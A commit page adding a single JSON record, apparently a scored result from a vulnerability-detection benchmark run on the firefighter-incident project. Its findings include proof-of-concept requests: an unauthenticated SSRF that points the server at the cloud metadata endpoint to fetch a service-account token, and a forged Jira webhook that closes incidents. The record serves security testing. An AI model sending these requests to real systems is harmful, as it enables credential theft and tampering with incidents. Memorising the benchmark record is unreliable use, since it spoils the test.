T3MP3ST public launch build
This commit is contained in:
1 parent
972247b881
commit
184c7d4e59
1589 files changed
+57150
-506
No files matched your search
@@ -0,0 +1 @@
|
||||
{"id": "GHSA-fqvv-jvhr-g5jc", "cve": "CVE-2026-42864", "repo": "ManoManoTech/firefighter-incident", "cwes": ["CWE-306", "CWE-918"], "vuln_files": ["src/firefighter/raid/serializers.py", "src/firefighter/raid/views/__init__.py"], "duration_sec": 188.9, "error": null, "strict": false, "lenient": true, "findings_scored": [{"fileMatch": false, "lineProx": false, "cweMatch": true, "hit": false, "title": "Unauthenticated SSRF via attacker-controlled attachment URLs in Jira bot endpoint", "file": "src/firefighter/raid/client.py", "line": 150, "cwe": "CWE-918"}, {"fileMatch": true, "lineProx": false, "cweMatch": true, "hit": true, "title": "Unauthenticated Jira webhook handlers allow forged incident status/priority changes", "file": "src/firefighter/raid/views/__init__.py", "line": 97, "cwe": "CWE-306"}], "n_findings": 2, "findings": [{"title": "Unauthenticated SSRF via attacker-controlled attachment URLs in Jira bot endpoint", "file": "src/firefighter/raid/client.py", "line": 150, "cwe": "CWE-918", "vuln_class": "ssrf", "severity": "high", "description": "The `CreateJiraBotView` API endpoint (urls.py -> views/__init__.py) is exposed with `permission_classes = [permissions.AllowAny]`, so it is reachable by an unauthenticated attacker. Its serializer `LandbotIssueRequestSerializer` accepts an `attachments` field as a plain `CharField` with no URL/scheme/host validation. In `LandbotIssueRequestSerializer.create()` (serializers.py ~lines 247-257) the attachments string is split into a list and passed directly to `jira_client.add_attachments_to_issue(issue_id, attachments)`. The sink `RaidJiraClient.add_attachments_to_issue` (client.py:150) iterates the attacker-supplied list and performs `http_client.get(url)` for each entry with no allow-list, scheme check, or private-IP/metadata-host filtering. An attacker can therefore force the server to issue arbitrary outbound HTTP(S) GET requests to internal-only services or the cloud metadata endpoint, enabling internal port scanning and (on GCP/AWS) retrieval of instance metadata/credentials. The retrieved content is uploaded as a Jira attachment, providing an exfiltration channel for the fetched body.", "poc": "POST /api/<version>/raid/jira_bot HTTP/1.1\nContent-Type: application/json\n\n{\n \"summary\": \"x\",\n \"description\": \"x\",\n \"seller_contract_id\": \"1\",\n \"zoho\": \"\",\n \"platform\": \"FR\",\n \"reporter_email\": \"attacker@example.com\",\n \"incident_category\": \"\",\n \"suggested_team_routing\": \"SBI\",\n \"priority\": 4,\n \"business_impact\": \"Low\",\n \"attachments\": \"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token\"\n}\n\nThe server (issue creation succeeds, then) performs http_client.get('http://169.254.169.254/...') from inside the trusted network and attaches the response body (e.g., the GCP service-account token) to the created Jira issue.", "confidence": 0.85}, {"title": "Unauthenticated Jira webhook handlers allow forged incident status/priority changes", "file": "src/firefighter/raid/views/__init__.py", "line": 97, "cwe": "CWE-306", "vuln_class": "auth-bypass", "severity": "medium", "description": "`JiraUpdateAlertView` and `JiraCommentAlertView` set `authentication_classes = []` and `permission_classes = [permissions.AllowAny]` (the maintainers left an `XXX: Work on webhook token` note). An attacker can POST a forged Jira `jira:issue_updated` webhook referencing any JiraTicket key. Through `JiraWebhookUpdateSerializer._handle_status_update`/`_handle_priority_update` this lets an unauthenticated remote attacker drive a real incident to CLOSED status or change its priority (calling `incident.create_incident_update`), and spam Slack channels with attacker-controlled author/comment text. Exploitation requires knowing/guessing a JiraTicket key, but keys are low-entropy sequential (PROJECT-NNN).", "poc": "POST /api/<version>/raid/jira_update with body {\"webhookEvent\":\"jira:issue_updated\",\"user\":{\"displayName\":\"x\"},\"issue\":{\"id\":1,\"key\":\"SBI-123\"},\"changelog\":{\"items\":[{\"field\":\"status\",\"fromString\":\"Reporter validation\",\"toString\":\"Closed\"}]}}", "confidence": 0.55}], "transcript": ""}
|
||||
Reference in new issue
Block a user